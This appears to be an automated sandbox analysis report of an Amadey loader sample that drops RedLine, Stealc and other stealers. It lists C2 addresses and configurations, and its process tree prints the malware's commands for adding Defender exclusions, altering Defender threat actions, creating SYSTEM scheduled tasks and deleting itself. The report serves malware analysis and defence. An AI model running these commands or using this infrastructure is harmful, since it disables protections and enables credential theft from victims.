Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    150s
  • max time network
    159s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240419-en
  • resource tags

    arch:x64arch:x86image:win11-20240419-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    06/05/2024, 01:30 UTC

General

  • Target

    d1cd7f738f33f05327df5ffee2c7580190ef27c0bcac16acd5170f3ceedabcfd.exe

  • Size

    1.8MB

  • MD5

    4fa386b5aad76ef31e715f809be74fd2

  • SHA1

    9c4f00ca9d031b1ef97c88456d3e6c06e15f4520

  • SHA256

    d1cd7f738f33f05327df5ffee2c7580190ef27c0bcac16acd5170f3ceedabcfd

  • SHA512

    bb87ed3706a972f8831ca627c2eee33241c4b7595c468d96b2ebeebc596c8225237caba786e08b5b1b714290c790370a9a86809e8a3711bdb34642ec9802876c

  • SSDEEP

    49152:x2CbyEnORVDGlC4TIJyXXjwLrhSDMbo1AFeKK6yJl98gMO:tbyEnSiC4cJyHjwL8eo1HEyZ3

Malware Config

Extracted

Family

amadey

Version

4.18

C2

http://193.233.132.56

Attributes
  • install_dir

    09fd851a4f

  • install_file

    explorha.exe

  • strings_key

    443351145ece4966ded809641c77cfa8

  • url_paths

    /Pneh2sXQk0/index.php

rc4.plain
1
a091ec0a6e22276a96a99c1d34ef679c

Extracted

Family

redline

Botnet

Test1234

C2

185.215.113.67:26260

Extracted

Family

stealc

C2

http://52.143.157.84

Attributes
  • url_path

    /c73eed764cc59dcb.php

Extracted

Family

redline

Botnet

@CLOUDYTTEAM

C2

185.172.128.33:8970

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Detect ZGRat V1 3 IoCs
  • Modifies firewall policy service 2 TTPs 1 IoCs
  • PrivateLoader

    PrivateLoader is a downloader sold as a pay-per-install malware distribution service.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 6 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

  • UAC bypass 3 TTPs 1 IoCs
  • Windows security bypass 2 TTPs 3 IoCs
  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 5 IoCs
  • Blocklisted process makes network request 5 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 13 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file
  • Stops running service(s) 4 TTPs
  • Checks BIOS information in registry 2 TTPs 13 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 9 IoCs
  • Executes dropped EXE 51 IoCs
  • Identifies Wine through registry keys 2 TTPs 4 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

  • Loads dropped DLL 5 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

  • Reads local data of messenger clients 2 TTPs

    Infostealers often target stored data of messaging applications, which can include saved credentials and account information.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 3 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Windows security modification 2 TTPs 4 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 3 IoCs
  • Drops Chrome extension 3 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 40 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Drops file in Program Files directory 40 IoCs
  • Drops file in Windows directory 8 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Creates scheduled task(s) 1 TTPs 19 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 6 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d1cd7f738f33f05327df5ffee2c7580190ef27c0bcac16acd5170f3ceedabcfd.exe
    "C:\Users\Admin\AppData\Local\Temp\d1cd7f738f33f05327df5ffee2c7580190ef27c0bcac16acd5170f3ceedabcfd.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Identifies Wine through registry keys
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:1548
    • C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
      "C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Identifies Wine through registry keys
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2136
      • C:\Users\Admin\AppData\Local\Temp\1000066001\swiiiii.exe
        "C:\Users\Admin\AppData\Local\Temp\1000066001\swiiiii.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3008
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          4⤵
            PID:3084
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3008 -s 888
            4⤵
            • Program crash
            PID:4212
        • C:\Users\Admin\AppData\Local\Temp\1000071001\jok.exe
          "C:\Users\Admin\AppData\Local\Temp\1000071001\jok.exe"
          3⤵
          • Executes dropped EXE
          • Modifies system certificate store
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3360
        • C:\Users\Admin\AppData\Local\Temp\1000073001\swiiii.exe
          "C:\Users\Admin\AppData\Local\Temp\1000073001\swiiii.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:2940
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
            4⤵
              PID:944
          • C:\Users\Admin\AppData\Local\Temp\1000075001\file300un.exe
            "C:\Users\Admin\AppData\Local\Temp\1000075001\file300un.exe"
            3⤵
            • UAC bypass
            • Windows security bypass
            • Executes dropped EXE
            • Windows security modification
            • Checks whether UAC is enabled
            • Suspicious use of SetThreadContext
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            • System policy modification
            PID:1368
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\1000075001\file300un.exe" -Force
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1500
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
              4⤵
              • Drops startup file
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:5056
              • C:\Users\Admin\Pictures\SqLIC1TgqdfqHhCy05TsWZUP.exe
                "C:\Users\Admin\Pictures\SqLIC1TgqdfqHhCy05TsWZUP.exe"
                5⤵
                • Executes dropped EXE
                PID:436
              • C:\Users\Admin\Pictures\uoh5rQOqcOCzklREtUjOgxni.exe
                "C:\Users\Admin\Pictures\uoh5rQOqcOCzklREtUjOgxni.exe"
                5⤵
                • Executes dropped EXE
                PID:632
              • C:\Users\Admin\Pictures\JdgH309DUb4hWS9BNDWIhMxS.exe
                "C:\Users\Admin\Pictures\JdgH309DUb4hWS9BNDWIhMxS.exe"
                5⤵
                • Executes dropped EXE
                PID:1528
              • C:\Users\Admin\Pictures\ALJfi6yZOKj9PVbFb2YqkCJE.exe
                "C:\Users\Admin\Pictures\ALJfi6yZOKj9PVbFb2YqkCJE.exe"
                5⤵
                • Executes dropped EXE
                PID:3452
              • C:\Users\Admin\Pictures\enRAPStopGFgUmCytkUl22HJ.exe
                "C:\Users\Admin\Pictures\enRAPStopGFgUmCytkUl22HJ.exe"
                5⤵
                • Modifies firewall policy service
                • Windows security bypass
                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                • Checks BIOS information in registry
                • Executes dropped EXE
                • Windows security modification
                • Checks whether UAC is enabled
                • Drops file in System32 directory
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                PID:4904
              • C:\Users\Admin\Pictures\1jQWClAcMhXBMNnU9dXCTSU6.exe
                "C:\Users\Admin\Pictures\1jQWClAcMhXBMNnU9dXCTSU6.exe"
                5⤵
                • Executes dropped EXE
                PID:1504
                • C:\Users\Admin\AppData\Local\Temp\7zSF220.tmp\Install.exe
                  .\Install.exe /ThYFdiduvbI "385118" /S
                  6⤵
                  • Checks BIOS information in registry
                  • Executes dropped EXE
                  • Enumerates system info in registry
                  PID:3780
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                    7⤵
                      PID:1600
                      • C:\Windows\System32\Conhost.exe
                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        8⤵
                          PID:1312
                        • C:\Windows\SysWOW64\forfiles.exe
                          forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                          8⤵
                            PID:1892
                            • C:\Windows\SysWOW64\cmd.exe
                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                              9⤵
                                PID:4080
                                • \??\c:\windows\SysWOW64\reg.exe
                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                  10⤵
                                    PID:2716
                              • C:\Windows\SysWOW64\forfiles.exe
                                forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                8⤵
                                  PID:3156
                                  • C:\Windows\SysWOW64\cmd.exe
                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                    9⤵
                                      PID:2264
                                      • \??\c:\windows\SysWOW64\reg.exe
                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                        10⤵
                                          PID:1416
                                    • C:\Windows\SysWOW64\forfiles.exe
                                      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                      8⤵
                                        PID:5076
                                        • C:\Windows\SysWOW64\cmd.exe
                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                          9⤵
                                            PID:2108
                                            • \??\c:\windows\SysWOW64\reg.exe
                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                              10⤵
                                                PID:2880
                                          • C:\Windows\SysWOW64\forfiles.exe
                                            forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                            8⤵
                                              PID:3844
                                              • C:\Windows\SysWOW64\cmd.exe
                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                9⤵
                                                  PID:3652
                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                    10⤵
                                                      PID:4480
                                                • C:\Windows\SysWOW64\forfiles.exe
                                                  forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                  8⤵
                                                    PID:5032
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                      9⤵
                                                        PID:2660
                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                          10⤵
                                                          • Command and Scripting Interpreter: PowerShell
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:1552
                                                          • C:\Windows\SysWOW64\gpupdate.exe
                                                            "C:\Windows\system32\gpupdate.exe" /force
                                                            11⤵
                                                              PID:5072
                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                                                      7⤵
                                                        PID:1152
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                          8⤵
                                                            PID:3472
                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                              9⤵
                                                              • Command and Scripting Interpreter: PowerShell
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:1132
                                                              • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                10⤵
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:4524
                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                          schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 01:32:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zSF220.tmp\Install.exe\" it /uQxdidxIrv 385118 /S" /V1 /F
                                                          7⤵
                                                          • Drops file in Windows directory
                                                          • Creates scheduled task(s)
                                                          PID:1572
                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ"
                                                          7⤵
                                                            PID:4932
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
                                                              8⤵
                                                                PID:2964
                                                                • \??\c:\windows\SysWOW64\schtasks.exe
                                                                  schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
                                                                  9⤵
                                                                    PID:952
                                                          • C:\Users\Admin\Pictures\4c5AFd6IgVXVBvCpqw6NmmJh.exe
                                                            "C:\Users\Admin\Pictures\4c5AFd6IgVXVBvCpqw6NmmJh.exe"
                                                            5⤵
                                                            • Executes dropped EXE
                                                            PID:3312
                                                          • C:\Users\Admin\Pictures\SKzMMsWgeJ216fErw1ATjOZ2.exe
                                                            "C:\Users\Admin\Pictures\SKzMMsWgeJ216fErw1ATjOZ2.exe"
                                                            5⤵
                                                            • Executes dropped EXE
                                                            PID:944
                                                            • C:\Users\Admin\AppData\Local\Temp\7zSC01.tmp\Install.exe
                                                              .\Install.exe /ThYFdiduvbI "385118" /S
                                                              6⤵
                                                              • Checks BIOS information in registry
                                                              • Executes dropped EXE
                                                              • Enumerates system info in registry
                                                              PID:244
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                7⤵
                                                                  PID:1620
                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                    8⤵
                                                                      PID:3120
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                        9⤵
                                                                          PID:1960
                                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                            10⤵
                                                                              PID:2700
                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                          forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                          8⤵
                                                                            PID:2700
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                              9⤵
                                                                                PID:2428
                                                                                • \??\c:\windows\SysWOW64\reg.exe
                                                                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                  10⤵
                                                                                    PID:4524
                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                8⤵
                                                                                  PID:3328
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                    9⤵
                                                                                      PID:2428
                                                                                      • \??\c:\windows\SysWOW64\reg.exe
                                                                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                        10⤵
                                                                                          PID:2376
                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                      forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                      8⤵
                                                                                        PID:5216
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                          9⤵
                                                                                            PID:5232
                                                                                            • \??\c:\windows\SysWOW64\reg.exe
                                                                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                              10⤵
                                                                                                PID:5268
                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                            forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                            8⤵
                                                                                              PID:5328
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                9⤵
                                                                                                  PID:5404
                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                    10⤵
                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                    PID:5604
                                                                                                    • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                      "C:\Windows\system32\gpupdate.exe" /force
                                                                                                      11⤵
                                                                                                        PID:4764
                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                                                                                                7⤵
                                                                                                  PID:1456
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                                                    8⤵
                                                                                                      PID:1460
                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                                                        9⤵
                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                        PID:2272
                                                                                                        • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                          "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                                                          10⤵
                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                          PID:4932
                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                    schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 01:33:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zSC01.tmp\Install.exe\" it /cfUdidbSPE 385118 /S" /V1 /F
                                                                                                    7⤵
                                                                                                    • Drops file in Windows directory
                                                                                                    • Creates scheduled task(s)
                                                                                                    PID:5308
                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ"
                                                                                                    7⤵
                                                                                                      PID:5496
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
                                                                                                        8⤵
                                                                                                          PID:5620
                                                                                                          • \??\c:\windows\SysWOW64\schtasks.exe
                                                                                                            schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
                                                                                                            9⤵
                                                                                                              PID:5640
                                                                                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
                                                                                                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
                                                                                                    4⤵
                                                                                                      PID:3520
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\1000079001\gold.exe
                                                                                                    "C:\Users\Admin\AppData\Local\Temp\1000079001\gold.exe"
                                                                                                    3⤵
                                                                                                    • Executes dropped EXE
                                                                                                    • Suspicious use of SetThreadContext
                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                    PID:3156
                                                                                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                                                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                                                      4⤵
                                                                                                        PID:3956
                                                                                                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                                                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                                                        4⤵
                                                                                                          PID:2008
                                                                                                      • C:\Users\Admin\AppData\Local\Temp\1000080001\alexxxxxxxx.exe
                                                                                                        "C:\Users\Admin\AppData\Local\Temp\1000080001\alexxxxxxxx.exe"
                                                                                                        3⤵
                                                                                                        • Executes dropped EXE
                                                                                                        • Suspicious use of SetThreadContext
                                                                                                        PID:1596
                                                                                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                                                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                                                          4⤵
                                                                                                            PID:1208
                                                                                                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                                                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                                                            4⤵
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:1660
                                                                                                            • C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe
                                                                                                              "C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe"
                                                                                                              5⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                              PID:2700
                                                                                                            • C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe
                                                                                                              "C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe"
                                                                                                              5⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                              PID:4852
                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                              "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"
                                                                                                              5⤵
                                                                                                                PID:4556
                                                                                                                • C:\Windows\SysWOW64\choice.exe
                                                                                                                  choice /C Y /N /D Y /T 3
                                                                                                                  6⤵
                                                                                                                    PID:1572
                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 1596 -s 400
                                                                                                                4⤵
                                                                                                                • Program crash
                                                                                                                PID:4172
                                                                                                            • C:\Windows\SysWOW64\rundll32.exe
                                                                                                              "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
                                                                                                              3⤵
